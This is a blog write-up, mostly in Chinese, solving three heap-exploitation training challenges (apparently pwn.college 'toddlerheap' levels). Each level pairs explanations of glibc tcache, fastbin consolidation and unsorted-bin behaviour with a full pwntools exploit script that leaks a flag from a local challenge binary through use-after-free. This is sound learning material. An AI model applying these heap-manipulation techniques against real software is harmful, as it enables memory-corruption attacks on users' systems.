901 words
5 minutes
Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series
2025-10-17
2025-10-21

前言#

冲冲冲,尽快拿下这一章然后学 FSOP,同时空下来学点 IoT,提前进军 realworld 。

Level 1.0#

Information#

  • Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

先填满 tcache,然后再申请同样大小就进入 fastbin 了,接着释放,让它可再次被分配,由于 malloc 超出 smallbin 范围的 chunk 会先触发 malloc_consolidate,强制合并所有 fastbin 到 top chunk,所以 read_flag 可以返回我们 fastbin 中那个 free 的地址,而由于 free 的时候并没有清除结构体中保存的指针,所以我们可以通过 puts UAF 泄漏其值。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level1.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = ELF("/challenge/lib/libc.so.6")
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx))
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
for i in range(7):
malloc(i, 0)
malloc(7, 0)
for i in range(7):
free(i)
raw_input("DEBUG")
free(7)
read_flag()
puts(7)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 2.0#

Information#

  • Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

if ( strcmp(s1, "read_flag") )
break;
for ( i = 0; i <= 1; ++i )
{
printf("[*] flag_buffer = malloc(%d)\n", 1434);
size_4 = malloc(0x59Au);
printf("[*] flag_buffer = %p\n", size_4);
}
fd = open("/flag", 0);
read(fd, size_4, 0x80u);
puts("[*] read the flag!");
}

这次就是 read_flag 中会执行两次 malloc,flag 被写到最后一次 malloc 返回的地址中。

那还不简单,丢两个与 malloc 申请的大小一样的 chunk 到 unsorted bin 中,这样切蛋糕切出来第二块的地址正好就是 flag 的 chunk 地址了。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level2.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def calloc(idx, size):
target.sendlineafter(b": ", b"calloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx))
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
for i in range(7):
malloc(i, 0)
for i in range(7):
free(i)
calloc(0, 0x59A)
calloc(1, 0x59A)
calloc(2, 0)
free(1)
free(0)
raw_input("DEBUG")
read_flag()
puts(1)
quit()
target.interactive()
if __name__ == "__main__":
main()

Level 3.0#

Information#

  • Category: Pwn

Description#

Leverage consolidation to obtain the flag.

Write-up#

和上题类似,区别在于这次我们可以 malloc 的大小被限制为必须 > 0x41F,而 read_flag 内部使用的 malloc 大小为 0x390,导致无法精确分配到我们想要的 chunk,咋办?

回忆一下 malloc 和相邻 chunk consolidation 的机制,我们注意到 malloc 的查找顺序为 tcachebins -> fastbins -> smallbins -> unsorted bins -> ... 由于这里我们只能请求 > 0x41F 大小的 chunk,所以可以直接排除 tcachebinsfastbinssmallbins 的可能性,那么 malloc 会直接查 unsorted bins,有合适的就直接返回,如果远大于请求大小就切割然后归类,不够就去下一个 bin 中找……

那我们只要设计一个 [free chunk with controled idx][guard][free chunk with controled idx][guard]... 这样的堆布局,重复 11 组即可。

Exploit#

#!/usr/bin/env python3
from pwn import (
ELF,
args,
context,
flat,
process,
raw_input,
remote,
)
FILE = "/challenge/toddlerheap_level3.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def malloc(idx, size):
target.sendlineafter(b": ", b"malloc")
target.sendlineafter(b"Index: ", str(idx).encode())
target.sendlineafter(b"Size: ", str(size).encode())
def free(idx):
target.sendlineafter(b": ", b"free")
target.sendlineafter(b"Index: ", str(idx).encode())
def puts(idx):
target.sendlineafter(b": ", b"puts")
target.sendlineafter(b"Index: ", str(idx))
def read_flag():
target.sendlineafter(b": ", b"read_flag")
def quit():
target.sendlineafter(b": ", b"quit")
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target
if args.L:
target = process(FILE)
else:
target = remote(HOST, PORT)
def main():
launch()
for i in range(12):
# raw_input("DEBUG")
malloc(i, 0x420)
# raw_input("DEBUG")
malloc(15, 0x420)
for i in range(12):
# raw_input("DEBUG")
free(i)
read_flag()
puts(11)
quit()
target.interactive()
if __name__ == "__main__":
main()
Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series
https://cubeyond.net/posts/write-ups/pwncollege-dynamic-allocator-exploitation/
Author
CuB3y0nd
Published at
2025-10-17
License
CC BY-NC-SA 4.0